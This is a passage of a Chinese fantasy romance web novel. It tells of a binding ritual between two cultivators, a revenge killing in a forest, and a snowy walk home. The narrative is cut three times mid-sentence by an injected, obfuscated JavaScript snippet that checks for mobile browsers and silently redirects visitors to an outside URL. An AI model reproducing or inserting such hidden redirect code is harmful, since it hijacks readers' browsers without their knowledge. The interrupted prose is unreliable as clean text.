他深深地望着她,很快想到了一种可怕的猜测,脸色都变了:“你不会始乱终弃的,对吗?” 又来了。 叶清圆吓唬他:“你再胡思乱想,我这就不要你。” 谢尽芜被她堵了一句,抿唇低目。 叶清圆看到他脸上的脆弱与求恳,满心的负罪感,险些认为是自己欺负了他。 “好嘛,我同意。” 反正这些事情都是板上钉钉的,早一点结契,除了她还不太习惯之外,也没什么不妥。 事到如今,只好慢慢习惯吧。 谢尽芜抬起眼帘,乌亮的眼眸中宛如盛满了春水,脸颊亦涌上薄红,他似是没有料到她会这么快就答应,还有些不敢置信:“真的吗?” “你再问就是假的。” 谢尽芜闭口不言了。只那双殷润如冷泉的眼睛,满是欢喜地望着她。 “好了,”叶清圆不想再纠结这个,“结契要怎么做?那是一种很正式的仪式吧?需要准备什么东西吗?” 见她投来疑惑的目光,谢尽芜小声解释道:“这种仪式不是很复杂,我在金璧城时就把材料都准备好了。” 叶清圆目瞪口呆:“你在金璧城时就——” 谢尽芜坦然承认:“嗯。” 她也是服了,哭笑不得:“谢尽芜,你可太行了。我该夸你‘未雨绸缪’吗?” 这算什么?还有更未雨绸缪的。 谢尽芜见她没有生气,也胆大起来:“不是说以后要叫我……别的吗?” 叶清圆无奈抬眸,眼里浓浓的笑意如有实质,快要把谢尽芜看得化了。 “好,我说到做到。你低头。” 她踮起脚,唇瓣轻柔地吻去他眼角的泪痕和额头的碎雪,眼睛亮晶晶地唤了一声:“小谢哥哥。” - 寂静的雪夜。 晴雪院后半里之外的山腰雪地。 谢尽芜将朱砂撒在新雪之上,莹白衬殷红,有种明艳喜气的美。 他神情认真严肃到一丝不苟,准备仪式的手也稳得不会出现半点瑕疵,这是他常年经受严苛训练换来的,纵使手断,也不许在咒术上出半点差错。 然而,微微抿着的唇角却暴露了他的紧绷。 冰冷干净的空气吸入肺腑之中,勉强压制住了他躁动的心。 叶清圆坐在不远处的山石上,身上还披着他临时找来的雪白大氅。谢尽芜想得太过周到,纵使心情激动、期待万分,临出门时竟还拿了暖手炉塞进她手中。 她将脸颊埋在衣领中,嗅着这份独属于他的清冷木香,看他躬着身子在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812007|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里忙碌,唇角慢慢牵出一个微笑。 一轮明月高悬夜空,莹洁的雪地反射皎洁月光,宛如碎银浮冰。 谢尽芜布置好了朱砂阵,取出袖笼中早就写好的结契黄表,递给叶清圆看。 叶清圆接过来展开在手中,那黄表上是一笔棱角峻厉的楷书,写的是诸如“玉清敕素,大梵分灵。元罡流演,星珠冠周。”之类规矩又正统的话,密密麻麻,足有数百字,黄表的下方是他二人的姓名与生辰八字。 谢尽芜牵着她的手,扶着她站起身,慢慢走近那道朱砂大阵中,“清圆,现在我们要交换贴身物件。” 叶清圆觉得很是新奇,想了想,就将颈间的白玉栀子解开递给了他。而谢尽芜则是拿出了那条她亲手编织的珍珠手串。 他将这两个物件放在一处,又以指作剑削去各自的一缕发丝,取出一截红绳将它们全部绑缚在一起。 明月高照。谢尽芜望着手心的红绳与发丝,眼眶难以自控地发起热来。 叶清圆疑惑道:“怎么啦?” 谢尽芜抬眼。 她的眼睛真亮,比天上的星星还亮。眸中漾动着柔和的光芒,他恨不得溺死在她这双琥珀色的眼潭中。 世上怎么有她这么好的人呢? 他的所有贪婪、妄念、渴求,甚至那一点逃避现实的安于现状,全部系于她身。 他知道自己在推卸责任。分明是他谢尽芜要喜欢、要爱,不择手段地试探她的脾气与底线,步步为营地想要占有。 谢尽芜最后问了她一遍:“你的心里永远都要有我的一席之地,好吗?” 叶清圆被他腻歪得终于烦了:“好好好,你说什么都好。快把仪式做完好吗?我等不及要和你结契了,小谢哥哥!” 半真半假。其实是此处地势开阔,实在很冷,她不想在这里吹风了。 谢尽芜被她哄得心里的小花迎风怒放。他很轻地笑了一下,闭目念诀。 这道诀真长,似乎要耗费不少灵力,以至于他念到中途甚至顿了顿,神情似乎有些痛苦,缓了口气才又继续念。 他以两根手指夹住那张黄表,默不作声地咽下喉间涌上的一股血腥。 法诀念完的瞬间,那道黄表自上而下化作莹莹白光,与那些鲜红的朱砂一同缠绕、飞旋,逐渐消散于天地之间。 此刻无风,漫山的花树却倏然摇曳摆动起来,松涛如怒,碎雪纷飞,连月光都清亮许多。 叶清圆诧异地抬眼向周遭望去,只见从山谷的阴影处缓慢漂浮起点点荧光,汇聚如同一道烂漫银河,与黄表朱砂的荧光汇入一起,而后消散在皎洁的雪夜中。 耳畔传来簌簌的响动,不像是枝梢轻抖,恍惚间竟像是山灵低语,共同庆贺他们的契约。 谢尽芜目不转睛地看着那荧光消散,终于松了一口气,眉眼藏着羞赧的笑意。 “仪式结束。现在,我们是道侣了。” 虽然很不合时宜,叶清圆还是忍不住问:“这种道契与婚仪有何不同呢?” 谢尽芜看着她,轻声道:“互相爱恋之人,互许终身,携手到老。若违此契,废半身修为,半生寿命。” 叶清圆吓了一跳:“这么狠?那这种道契有办法解除吗?” 谢尽芜脸色一变,顿时被她气得快要怄死,却还是忍着怒火轻声解释道:“……有,只需要一方身死就可以。” 只需要。 叶清圆腹诽道:你们这种立道契的人,还真是不把性命当回事。 谢尽芜看她若有所思的目光,抿着唇,怒气快要忍不住了:“你问这个做什么?我们才刚结契。” “好奇呀。”叶清圆察觉到他情绪不太对,笑盈盈道,“这种道契正合我意,反正我们这辈子都不会分开了。它又是废掉修为,又是废掉寿命的,其实也跟我们没啥关系,你说是吗?小谢哥哥。” 她的声音甜而脆,呼吸间还裹着橘子的清甜,那双漂亮端丽的眼眸直直望着他,比星月还亮。 谢尽芜虽然不想这么快就消气,可那怒火还是顷刻间消散了,别扭道:“嗯。” 他对她撒娇似的哄劝根本就是毫无抵抗力。 红枫林似火燃烧,远处山巅却冰雪皑皑、莹润生光。乍一望去,好似红炉煮雪。 谢尽芜垂眼轻笑,雪白的脸,薄红的唇,眼眸澄澈如清泉。 纵使已经亲吻过好多次,如此雪景明月下,叶清圆还是不由得心口一阵悸动。 她凑上前,热乎乎的双手捧住他被冷风吹得冰凉的脸颊,柔声道:“那我现在该唤你什么?道侣?夫君?” 谢尽芜耳廓微红,轻咳一声:“你喜欢就好。” 他欲盖弥彰地偏过脸,浓睫垂下,眼神却在偷瞄她,眸中还带着点隐忍的笑意。 什么嘛。分明对这个新称呼喜欢得不得了,还装作一般般的样子。别扭死了。 叶清圆忍不住笑,柔嫩的手从他的脸颊慢慢向下滑动,搂住他的脖颈,最后整个人都贴进他的怀里。 谢尽芜的手臂环过她纤瘦的腰肢,头颅也配合地垂下些许。 两人紧紧相拥,脸颊也相贴,近得仿佛可以听到彼此紊乱的心跳声,也可以感知到对方热腾腾的气息。 她凑在他耳畔,语调暧.昧地笑,轻声唤道:“所以我们现在要回去做什么呢,夫君。” 81. 绘图 当然是绘图。 案上铺展着一张宣纸,谢尽芜端坐在书案前,墨笔勾勒出一对戒指的形状。 戒指呈现波纹状,线条素简流丽,戒指内侧描了雪花,是叶清圆的小心思。 叶清圆坐在他的身旁,托着下巴笑盈盈道:“这是我们那里的习俗呢,要在婚礼的时候交换戒指。从此以后,别人就可以凭着无名指是否戴戒指而判断这个人是已婚还是未婚。” 并非拘泥于形式,却是她的心意。 结契这种东西看不见也摸不着,她想要在对方的身上留下专属于自己的痕迹。 案前燃了灯,明暖柔和的光芒映在她的脸庞轮廓,流水一般。 谢尽芜搁下笔:“是初阳镇的习俗么?” 叶清圆的笑容一怔,随即道:“是啊。你没见过吧?” “没有,”谢尽芜沉默了一会儿,“你想回去……你还会回去吗?” 叶清圆笑道:“当然啦,等所有的事情都结束之后,我肯定要回去看看爹娘的。你不要忘啦,我们的婚礼还要在初阳镇举行呢。” 她想了想:“还是你想在别的地方?” “不必,听你的就好。”谢尽芜又道,“等婚礼结束了呢,你想住在哪里?也是初阳镇?” 叶清圆露出思索的神色:“这个我还不曾考虑过呢。不过我想住在比较清静的地方,也不要太偏僻,幽中取静最好。” 谢尽芜静静听着,唇角露出一抹笑意。 正合他的心意。 他温声道:“那就住在山上吧,我来找一处合适的地方,最好是无人打扰,又离城镇不远,你想逛集市或者出去玩都很方便。然后修山道,设灯柱,满山都种上你喜欢的花树。我们再建一座新的山馆好不好?你来取名字。” 叶清圆听他这胸有成竹的语气,好像已经为此筹谋许久了似的,不由轻笑。 她很配合地思索了一会儿,轻声道:“嗯……此时情绪此时天,无事小神仙。就叫‘无事’吧。” “好。”谢尽芜眼中笑意更深,提笔在宣纸上写了四个字,“无事山馆”。 他将宣纸卷好放进书娄里。那书娄中原先还存着许多设计图,亭台楼阁,还有莲池温泉。叶清圆无意间见过一次,如今却空了。或许谢尽芜放在了别的地方。 叶清圆笑道:“这可是一笔不小的开支。这样吧,我们从这里离开以后可以去给那些富豪们看家宅风水,听说给人看风水很挣钱!我们把钱赚够了再去盖山馆。” 谢尽芜好笑地抬起眼:“你会看风水吗?” “慢慢学嘛,”叶清圆挑眉,“至少我可以画符咒帮他们辟邪除祟。” “不必,”谢尽芜温声道,“这些事情你不必费心,交给我来办就是。” 他想了想,又补充说:“不过若你真的想去,我也支持你。” “那你呢?” “自然是陪你。” 还要护着她,不叫她受一丁点儿伤,不吃一丁点儿苦头。 叶清圆将下巴磕在他肩头,轻声地笑。 “还有,山馆中要添置什么,你只管找取舍庄的李庄主提,他都会办好的。” 他在取舍庄的存款这么多年总算是有了用武之地,叶清圆想花他的钱,他高兴都来不及。 叶清圆却隐约察觉出了不对劲,他这话说得蹊跷,倒像是在交代什么似的。 她不愿再继续这个话题,脸上笑意疏淡,闷声道:“你要说话算话哦。” “不然呢?”谢尽芜转头看她,眼中有笑,睫尾却轻颤,是脆弱隐忍的模样,“除非你不要我。” 真记仇。又拿她说过的玩笑话来堵她。 “都结过契了,你又在说什么糊涂话?” 叶清圆手攥成拳,在他的肩头轻轻捶了一下。力度不大,隔着衣料传到谢尽芜身上的时候,已然轻得像是在他心口挠了一下。 他半阖着眼,唇角弯出一点弧度,竟像是很欢喜的样子。 叶清圆看他这副暗自窃喜的神情,恍惚间竟觉得是中了他的计。 他方才那句“除非你不要我”,与其说是暗含委屈的酸话,却更像是故意说出来引她反驳。 然而,她的脑子转得快,嘴巴却跟不上,脱口而出:“我这么喜欢你,你怎么会觉得我不要你?” “我没有这样觉得。”谢尽芜低眸看她,眼瞳深黑如月下静湖,唇角翘起一点点笑,“我就是想听你说喜欢我。” “现在听到了,你说的很好听。” 叶清圆只觉浑身燥热,坐都快要坐不住。 他抬眸望她,殷红的唇抿出一丝笑,“不早了,歇息吧。” 叶清圆的脸颊蓦地一红,讷讷道:“分开睡。” “好。”谢尽芜本来也没想如何,今日她能答应他结契,于他而言已经是极大的惊喜。 他将叶清圆送回她那处单独辟出来的小院,又往她手里塞了两只热腾腾的暖手炉,确认她今晚在后山雪地时并未受冻,这才放心地回了自己房中。 - 荒山野林中,顾景年倚靠在一株大树下,满脸不悦地与两名同伴抱怨着什么。 树梢的枝叶快要落尽,入目遍地是荒草。此地刚下过雨,湿润冰冷的林风拂过面庞。不远处有个水洼,平滑如镜,倒映着天光云影,很是漂亮。 此处距离冽雪山谷不足十里,空气中已经有寒冬的阴冷气息。顾景年拢了拢大氅,哼道:“那冽雪山谷有什么好看?不过一个乱葬场罢了,有必要安排这么多人去查探吗?” 李小满宽慰他:“家主既然这么安排,就一定有她的道理。我们照办就是了。” “是啊,那山谷里有什么又不是我们管得着的,想这些干嘛?” “哼!”顾景年不屑地翻了个白眼,“头脑简单,思想幼稚,也难怪姐姐从来不重用你们。” 他与顾九枝乃是亲生姐弟,仗着这层关系,他的语气里总带着一股浑然天成的傲慢与嘲讽,跟谁都能杠得有来有往。 ——除了那位云山长老。 渡真世家共识:惹怒谁都不要惹怒云山。得罪了他,谁也不要妄想能够全身而退。 同门子弟忌惮顾景年的身份,不敢得罪,他更变本加厉起来,颐指气使,仿佛整个渡真世家都是他的手下仆役一样。 话音落下,周遭的同伴们也都屈辱地选择了沉默。 顾景年见没人搭理他,更觉得自己占了上风,添油加醋道:“孤陋寡闻了吧。那冽雪山谷里若真是封的妖怪,山外头还有人敢在那里住吗?上次放出心影探查的时候,可是查出来那里还有个许家庄。” 他拍拍李小满的肩膀:“你忘啦?当时那群猎户进山,险些就走到了冽雪山谷的里头。嘿,那小丫头也是个莽撞的,见了我们都不怕,反倒问我们是谁?” 李小满附和地笑笑:“那姑娘还以为我们是什么小鹤仙。这兴许是他们的传说吧,冽雪山谷里有鹤仙什么的。” 顾景年的脸色蓦地变了:“什么狗屁鹤仙!那里埋的不过是一群死有余辜的杀人犯!也配叫什么仙?” “铮——!” 他话音未落,身后灌木丛中倏然传来某种细微的动静。 在场三人立刻举起刀剑防范,氛围霎时紧张起来。顾景年抽剑出鞘,紧盯着那灌木丛的位置。 下一秒,刻有符箓的箭矢破空而来,直直钉在了他身后的那株树干上,嗡嗡作响,尾羽犹自不住震颤。 这不过是瞬息的变化,顾景年慌忙侧身闪过,若那箭矢再低一寸,便可以刺穿他的脑颅。 他的后背顿时激出一层冷汗。 那箭矢的尾端还系了一条血红的丝绦,晃动着拂在他的脸上,猩红的血迹抹了他满脸都是。 一道身影绕过灌木丛,步伐轻慢地走了过来。 顾景年在看清他面容的瞬间,狭长的双眸中蓦然闪过阴狠,咬牙切齿道:“顾雪庭?不对,是谢长生。” 谢长生提剑走过来,依旧是雪白的脸容,薄红的唇。 他抬起眼帘,目光落在树干那一支箭矢上。 顾景年顺着他的目光看去,发现箭上竟拴着极小的一块竹牌,竹牌血迹斑斑,上头刻有两个字:“裴叙。” 字迹缭乱,下笔极重,显然刻字之人当时满怀恨意。 顾景年一把拽下那竹牌,脸色霎时就变了:“你把裴师兄怎么了?!” 他的手指用力得泛白,目眦欲裂。身旁两名渡真弟子也是满脸怒意地瞪着谢长生。 这伙人原本就和谢长生积怨已久,只不过碍于所谓的同门情谊而始终隐忍。此时谢长生既然叛离渡真世家,这些人更是恨不得直接手刃了他。 积怨从何而来?至少要往前追溯十年。 当初谢长生刚到渡真世家的时候,就因身份问题而屡屡遭到长老们的歧视与厌弃,下头的弟子们最会察言观色,知道这人没靠山, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817907|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵力又低,就想尽办法欺凌羞辱他。他的身上满是伤痕淤血,院判长辈们对此却是视而不见。 谢长生那时身体弱得可怜,离死亡仅剩一步。渡真上下巴不得他早些去死,根本没人想救他。是顾九枝翻遍了道籍经书,冒着亲手杀了他的风险硬是灌了灵力给他,当中他的灵脉爆裂过两次,还是顾九枝不顾满门的反对,日夜守着他,将他从鬼门关拽了回来。 渡真世家如何不恨? 因此,当谢长生的修为飞速提升,开始抵抗、开始反击时,他们就怀恨在心。 凭什么?一个来历不明的病秧子,也能得家主如此眷顾? 于是,群殴、陷阱、栽赃。 谢长生在这样一次次猝不及防的捶打当中,快速地成长起来。 而当这种种办法都失败了,谢长生甚至有足够的实力以一挑多,多次在众目睽睽之下打得他们颜面尽失时,他们就对谢长生起了杀意。 这些想杀掉他的子弟当中,以顾景年最为狠毒,最为不甘。 他觉得不公平。他可是顾九枝的亲弟弟,顾九枝凭什么屡次冷落他,却要费力气去关注一个外来人? 他恨不得提剑杀了谢长生。 顾景年特别不服。 谢长生的眼神很冷,看渡真三人时就像在看尸体,淡声道:“裴叙已经死了。我割了他的喉,血溅在竹牌上,挺脏的。” 顾景年的表情僵硬一瞬,旋即暴怒,口不择言道:“顾雪庭你这混账东西!” 他提着刀猛冲过去,挥臂狂砍。谢长生提剑格挡,熔金般的刀影与雪亮剑影在林中交织,一者打法迅猛癫狂好似疯狗,一者出手极稳极狠,剑剑刺在要害。 树枝与枯草碎石四散飞溅。 渡真世家的那两名子弟根本毫无插手的机会,纷纷避退以免波及。 “铛!”的一声重响,顾景年的手臂连着肩背传来剧震,震得他半边身子失去知觉,一瞬的失察,致命的失误。 谢长生剑势未停,手腕翻转,噗嗤一声闷响,剑锋直直刺入他的胸腔。 剑锋有道血槽,温热的血急速涌出,溅湿了足下的地面。 谢长生的脸色依旧冷得像雪,腕骨用力,拧转长剑,剑锋搅碎他的心肺! 渡真两人大惊失色:“小师叔!” 顾景年踉跄着后退半步,手臂卸力,长刀当啷一声掉在地上。 他的手掌颤抖着去抓谢长生冷凝雪亮的剑锋,指缝鲜血迸溅。 谢长生的视线落在他抓着剑锋的手上,又慢慢移到他的脸,若有所思地看着他,忽然开口道:“十五年前在冽雪山谷的时候,你也是这样杀掉我族之人的吗?” 顾景年双眼蓦地睁大。 谢长生抽剑,手腕一甩,血珠溅射出一道利落的弧线。 顾景年的双膝砸在地面,紧接着整个人倒在血泊中,抽搐了两下,断气。 渡真两人还怔愣地提刀站在树下,脸上怒意消散,满是惊恐和不可置信。 谢长生收剑入鞘,薄红的唇扯出一抹讥讽的笑容:“竟就这么眼睁睁看着他被我杀死,看来你们之前的所谓同族情谊,也不过如此。” 那两人后知后觉地狂奔过来,扑倒在顾景年的尸体旁。 李小满又怒又怕,浑身颤抖,边哭边骂道:“你这混蛋!我要回去禀报长老和师父,你等着吧,他们一定不会放过你的!” 谢长生漫不经心地看了他们一眼。 他绕过顾景年的尸体,从地上捡起了刻有“裴叙”的竹牌,随后从袖中又取出一块竹牌,那上头刻的是“顾景年”。 他道:“你知道我为什么要杀他?” 李小满哭嚷嚷的,一脸窝囊的模样,其实也不敢得罪他:“不就是、不就是因为以前欺负过你吗?” 他蓦地抬起脸来,惊恐道:“你不会也要杀我吧?当初对你做出那些事,我们也是被逼无奈啊!你应该明白的!如果不欺负你不揍你,我们就会被小师叔打的!” 谢长生垂下眼帘看他,眼神冰冷,眉心微蹙,似乎是想不通世上还有如此蠢笨之人。 片刻后,他嗤笑出声:“无知。” 手指稍一用力,将两块竹牌都攥成齑粉。 随后,他转身离开。 袖中有一点轻微的重量,只有他自己知道,那是最后一块竹牌。 上面刻了两个字,下笔最狠,恨意最浓。 ——“云山。” 82. 新雪 转眼到了大雪。 寒冬愈盛,村里的青石街道都被雪覆盖了,出行不便。 叶清圆不常出院子,就自己在房中写符。等到雪落风息的时候,才去枫林酒馆要一碗茶喝,与那里的女孩子们聊天说笑。 枫林酒馆里有种酒名为“蓼红”,颜色红中透紫,据说是滋味如春花般馨香,后劲十足。叶清圆眼馋好久,又怕不小心酒后失态,故每次只浅尝一小口,过个瘾头就停手。 她最常喝的还是茶。酒馆里茶壶也多,水声咕嘟咕嘟,各种茶香袅袅升腾、氤氲到一起,也有一种大乱炖似的感觉。 有时会在酒馆里碰到许雁含。她是孤女,家中无人相陪,也没什么要忙碌的,就在晚膳后来到酒馆帮助馆主烧水煮茶,和大家谈天说笑派遣寂寞,顺带挣个零花钱。 最近几日,叶清圆闲来无事,就去许雁含的小院子里教她绘符。 许雁含的小院子布置得很是整洁舒适,院中有棵柿子树,还有石凳圆桌。房屋也是最常见的那种砖石建筑。墙壁上挂着弓箭和字画,案几上摆满了书。 她喜欢念书,什么类型都看,故而兴趣广泛。叶清圆教完她绘符之后,也顺便借几本书回去打发时间。 “清圆姐姐,”许雁含在灯下对比着她们画好的符纸,“为什么你绘制的符要比我的亮?” 她的咒文看起来黯淡无光,有形无神。而叶清圆所绘的咒文却隐隐有光华流转,灵气四溢。 叶清圆笑道:“这种事急不来的,待你再练习一段时间就好了。” “好。”许雁含垂下头。 过了一会儿,叶清圆发现她今晚有些心不在焉的,眼神总是迷茫不解,似乎是在思索着什么。 她轻声笑道;“有什么心事吗?” 许雁含抬起脸来,圆圆的眼睛眨巴着,好像小鹿。 她有些犹豫,仿佛是对自己不太自信,怕被嘲笑一般。 叶清圆安慰道:“没关系呀。你姑且说,我姑且听。出了这个院子,我们就当什么都没有发生过。” 许雁含思索着搁下朱笔,一抬头,就见叶清圆笑意盈盈地望着她,琥珀色的眼眸中溢出温和柔软的光,烛光在她的脸上如泉水般流淌,模糊了轮廓,愈发显得她眉目温柔而灵动。 许雁含垂下眼睫。 她怔怔地看着叶清圆,像是从来没有被人用这样温和的目光看过,满心的酸涩涌了上来。 这样寂静的雪夜,在她温暖却欠缺人气的砖石小房子里,还能有一位大姐姐,用这般满含纯澈善意与关怀的目光看着她。 她活了十六年,吃百家饭,见过好多好多的饭桌与碗筷。却是头一次如此真切地体会到所谓“家”的感觉。 白璟也是活泼开朗的,可他是小孩子式的玩闹,懵懂天真。 叶清圆带给她的,却是一种稳定踏实的、可以信任的感觉。 许雁含慢慢笑出来。 叶清圆也笑:“是发生了什么好事吗?这么开心呀。” “是好事。”许雁含缓缓呼出一口气,神情认真,“清圆姐姐,我终于见到小鹤仙了。” 小鹤仙。 叶清圆脸上的笑意敛去:“怎么回事?” 她的神色明显变得严肃起来,上半身前倾,是一个关怀且紧张的姿态。 许雁含不明所以,她不该为自己感到高兴吗?为什么会露出这样的表情呢? 她垂着眼思索一瞬,笑道:“是前几日进山打猎时遇到的。其实我也没有看得太清楚,那时天色很黑了,我隐约只见到是两三个人影,穿着特别漂亮的黑白两色的衣服,大袖飘飘,像是神仙。” 黑白两色。 渡真世家?还是谢长生? 叶清圆很快否决第二个猜测:谢长生孤身来往,并不喜结伴。 况且谢氏族人早就被灭了,他去哪里结伴? 来到这里的是渡真世家,说明支线剧情就快要开始了。无论中途的剧情线如何变动,结局都是注定的,谢尽芜和那些修士们终究要有个了断。 然而现在的麻烦是,谢尽芜身上的邪印还是无法根除。 邪印不除,他就始终受制,将来对上渡真世家时的胜算也被压制。 叶清圆望着许雁含略微躲闪的眼神,心下明白了几分,轻笑道:“你和他们说话了吗?” “没有。我只问了一句,‘你们是小鹤仙吗’。”许雁含回忆道,“他们看了我一会儿,没说话,却莫名其妙地笑了一声。然后就消失了。” 叶清圆:“是在哪里见到的?” “冽雪山谷的附近。”许雁含补充道,“其实没敢进去,那里二十年前还闹妖怪呢,我们都不敢靠近的。” 这件事许雁含说得保守,她也不好再问,只提醒了一句:“下次再碰到他们的话,可不要上去搭话了啊,这么鲁莽,万一有危险怎么办?” 许雁含乖乖点头。 叶清圆道:“还有,若是真的遇到事情了,可别忘了赶紧用传音咒文叫我呀。傻丫头有事情不要自己扛。” 至于渡真世家已经派人来到冽雪山谷,其实早就在意料之中。 按照原著的剧情线,这些冲突还要再过段时间才会爆发,到时候连永安江氏这些小势力也掺和了进来。冽雪山谷属实是乱成了一锅粥。 话说到此处,门外传来笃笃的叩门声,许雁含露出放松的神情,匆忙逃去开门。 门口传来隐约的交谈声,叶清圆听着竟像是谢尽芜,搁下了杯盏。 紧接着就是一阵匆忙的脚步声,许雁含掀开厚重的门帘子,笑道:“清圆姐姐,是谢公子来接你回去呢。” “咦?好。”叶清圆有些诧异地将符纸和朱笔都收好,不忘嘱咐道,“今晚就练到这里。晚上冷,你也收拾收拾早些睡了啊。” 许雁含乖巧地点头,而后凑过来,笑嘻嘻地与她开玩笑:“姐姐快去吧,我瞧那谢公子都有些等不及啦!” 叶清圆的脸颊一红,轻轻地捏了捏她的脸蛋:“油嘴滑舌。” 掀开门帘子,果然见谢尽芜站在大门外,手中撑着那把红梅栀子的油纸伞。 隔着一层飘飞如絮的雪帘,他遥遥地向她露出一个笑容。 她戴上大氅的帽子,迈开步伐朝他走过去。帽子隔绝了外头的雪落声和足步声,却将她的心跳放大到无数倍,回荡在耳畔。 小院的砖道漫长却又短窄。 谢尽芜在小道尽头伸出手,温暖宽厚的手掌裹住她的手。他像是患了某种分离恐惧症,几乎是迫不及待地就将她拥进了怀里,紧紧抱住。 他的身上还裹着下雪天寒气,声音里染着委屈:“怎么这么久,不是说好只有半个时辰吗?” “只顾着说话了,忘记看时间。好啦,下次不会了。”叶清圆轻微地挣开他的怀抱,“被人看到了可不好。” 谢尽芜万般不情愿地放开她,低声抱怨:“我在抱我的道侣,这又有什么不好?” 叶清圆说不过他,无奈轻哄:“没什么不好,这种事以后我们都在家里,好吗?” 谢尽芜牵紧了她的手,勉为其难道:“好吧。” 下雪的时候很冷,路面湿滑,街上早就空了。 尤其是前些日子路面的雪都快冻成了冰,还没化呢,新雪又覆盖上去,叫人摸不准该走哪里。 叶清圆一路走得心惊胆战,她尽量都走村道的中间,至少都有人清扫过,不至于还有坚冰在底下埋伏。 谢尽芜却是步伐平稳,他仿佛天生拥有超强的平衡感,不光自己稳当,还能托住叶清圆保证她不滑倒。 两人深一脚浅一脚地在雪地上留下足印。谢尽芜的掌心温热宽厚,手指从她的指尖缓慢摩挲到手腕,指腹一点一点将她微凉的皮肤都染上暖意。 过了枫林酒馆就较为开阔,没有建筑和树木的遮挡,清辉慷慨地泼洒在雪面,亮晶晶的,闪烁如繁星。 雪下得大,路上没有行人,雪地干净而松软,半点足迹都没有。 叶清圆看得心底发痒,松开了谢尽芜温暖的手,小跑到前方,回身笑道:“这里的雪都要我来踩,你不要追上我。” 她的大氅衣领处系着两个雪白的毛球,还绣了笑脸,丑萌丑萌的,纯粹起到装饰性的作用,随着她的动作跳跃摇摆。 谢尽芜一个不经意,竟叫她这么逃脱了。 他看着她动如脱兔的身影,掌心虚拢了一下,无奈道:“不要走那么快。” 叶清圆满不在乎地笑:“放心,我穿得很厚的,就算摔倒了也不疼的。” 她的大氅衣摆很长,拖曳在晶莹的雪地上,很快染上了一层亮晶晶的颜色。 谢尽芜本来步子就迈得比她大,此时为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823289|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了“不追上她”,只好放缓了步伐,步步都踩在她留下的脚印旁。 两排脚印延伸,缠得很紧,几乎不分彼此。 两人沉默着走了片刻。天地寂静,一路铺满了白白的雪絮,柔软蓬松,真像是糖霜。 不知这里的雪尝起来是什么味道。 叶清圆伸手接了几片雪,放在舌尖隐约觉出点甜味,山泉水一样的甘冽。 她顿住脚步,忽地回身望向谢尽芜,笑道:“我想到了,我们回去接了新雪然后——啊!” 她话音未落,左脚竟踩在了老榆树下的雪窝里,整个人半摔在了雪地中。 ——没完全摔倒。谢尽芜眼疾手快,抢过来一把捞住她的腰,将她抱了起来。 饶是如此,她还是觉得左脚和小腿蓦地一凉,估计是灌进了雪。 谢尽芜竟是比她还紧张,眉宇间有担忧有怒意:“疼不疼?摔到哪里了吗?” 叶清圆跺了跺脚:“没有摔着。” 谢尽芜脸上余怒未消,走在她身前微微低下身,“就不该让你自己胡闹。上来。” 叶清圆还想踩雪,摆手道:“不用了,其实不必……” “拿着伞,上来。” 不容置喙的语气。 谢尽芜侧过脸看她,挺直的鼻梁上落了雪,好干净好清冷的侧脸。 叶清圆在美色面前终于妥协,手脚并用地爬上他的背,接过伞,又讨好地抱紧他的肩颈:“好嘛,你不要再生气了,好不好?” 说罢,讨饶地在他脸颊上亲了一口。 谢尽芜托着她的大腿将她背起来,故作愠怒,其实心里已经都是懊悔与自责:“不想看到你受伤。” 她该是被他捧在掌心里悉心呵护的女孩子,而不应该去吃苦受伤。 “这只是一点小小的意外,下次肯定不会了。为什么要自责呀。” 叶清圆笑盈盈地趴在他的背上,呵出的热气都钻进他的脖颈。 谢尽芜不吭声,只垂着颈子看路,手臂收紧,将她的身躯托得很稳。 爱一个人就要过度纵容、过度保护。 他其实有意识到自己的问题,可是改不了,控制不住。 他是个不太懂爱的人,最该开悟的那几年都活在暗无天日的希夷殿,那点不该有的温情也合适地随着刀山剑海一同逝去了。 老殿主曾讲过,世上凡得证大道之人,无不历经人世恨海情天,方得超脱。情之一字,本就复杂多面,若生来无情,不懂人性,也从不肯动念,一颗心始终静如死潭,才是可怜。 他那时尚未起心动念,心中除了恨再无其他。宛如被任务控制住的傀儡,脑海中盘旋的唯有“杀敌”二字。 杀敌是为了什么?为了积攒经验,探听情报,将来彻底灭掉他的仇人。 老殿主便笑着和他讲,越是他这般静如深潭的人,实则潭底早有暗流潜动,他日若时机到来,必会浪涌滔天,从此陷入另一个极端。 谢尽芜的鼻端隐隐有她身上的清香。他冷静地想:爱也可以陷入极端的吗? 月光皎洁如昼,街上只有他们两个人。叶清圆俯趴在他身上,下巴还是习惯性地磕在他的肩膀,是全然信赖的模样。 